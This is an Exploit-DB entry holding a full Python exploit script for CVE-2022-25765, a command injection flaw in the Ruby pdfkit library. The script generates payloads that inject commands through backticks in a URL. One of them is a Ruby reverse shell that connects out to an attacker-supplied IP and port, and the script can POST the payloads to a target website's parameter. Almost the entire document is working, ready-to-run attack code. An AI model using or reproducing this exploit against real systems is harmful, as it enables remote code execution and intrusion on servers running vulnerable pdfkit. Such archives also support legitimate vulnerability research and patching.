pdfkit v0.8.7.2 - Command Injection

EDB-ID:

51293


Author:

UNICORD

Type:

local


Platform:

Ruby

Date:

2023-04-06


#!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-2022–25765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

# Imports
import time
import sys
import requests
from urllib.parse import quote


class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'


# Print UNICORD ASCII Art
def UNICORD_ASCII():
    print(rf"""
{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}
{color.red}    ,~~`( )_( )-\|       {color.blue}/ / / / |/ /  _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)


# Print exploit help menu
def help():
    print(r"""UNICORD Exploit for CVE-2022–25765 (pdfkit) - Command Injection

Usage:
  python3 exploit-CVE-2022–25765.py -c <command>
  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port>
  python3 exploit-CVE-2022–25765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-2022–25765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-2022–25765.py -h

Options:
  -c    Custom command mode. Provide command to generate custom payload with.
  -s    Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
  -w    URL of website running vulnerable pdfkit. (Optional)
  -p    POST parameter on website running vulnerable pdfkit. (Optional)
  -h    Show this help menu.
""")
    exit()


def loading(spins):

    def spinning_cursor():
        while True:
            for cursor in '|/-\\':
                yield cursor

    spinner = spinning_cursor()
    for _ in range(spins):
        sys.stdout.write(next(spinner))
        sys.stdout.flush()
        time.sleep(0.1)
        sys.stdout.write('\b')


# Run the exploit
def exploit(payload, exploitMode, postArg):

    UNICORD_ASCII()

    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2022–25765 (pdfkit) - Command Injection{color.no}")
    loading(15)
    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
    print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")

    if "web" in exploitMode:
        if exploitMode == "webcommand":
            print(
                f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        else:
            print(
                f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
            print(
                f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
        print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
        print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
        if "http" not in website:
            print(
                f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
            exit()
        postArg = postArg + "=" + quote(payload, safe="")
        try:
            response = requests.post(website, postArg)
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
            exit()
        loading(15)
        print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
        loading(15)
        print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
    elif exploitMode == "command":
        print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
    elif exploitMode == "shell":
        print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
        print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")

    exit()


if __name__ == "__main__":

    args = ['-h', '-c', '-s', '-w', '-p']
    modes = {'command': 'Custom Command Mode',
             'shell': 'Reverse Shell Mode',
             'webcommand': 'Custom Command Send to Target Website Mode',
             'webshell': 'Reverse Shell Sent to Target Website Mode'}
    postArg = "url"

    if args[0] in sys.argv:
        help()
    elif args[1] in sys.argv and not args[2] in sys.argv:
        try:
            if sys.argv[sys.argv.index(args[1]) + 1] in args:
                raise
            command = sys.argv[sys.argv.index(args[1]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
            exit()
        payload = f"http://%20`{command}`"
        mode = "command"
    elif args[2] in sys.argv and not args[1] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
                raise
            listenIP = sys.argv[sys.argv.index(args[2]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
                raise
            listenPort = sys.argv[sys.argv.index(args[2]) + 2]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
            exit()
        payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
        mode = "shell"
    else:
        help()

    if args[3] in sys.argv and args[4] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
                raise
            website = sys.argv[sys.argv.index(args[3]) + 1]
            mode = "web" + mode
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
                raise
            postArg = sys.argv[sys.argv.index(args[4]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
    elif args[3] in sys.argv or args[4] in sys.argv:
        print(
            f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
        exit()

    exploit(payload, mode, postArg)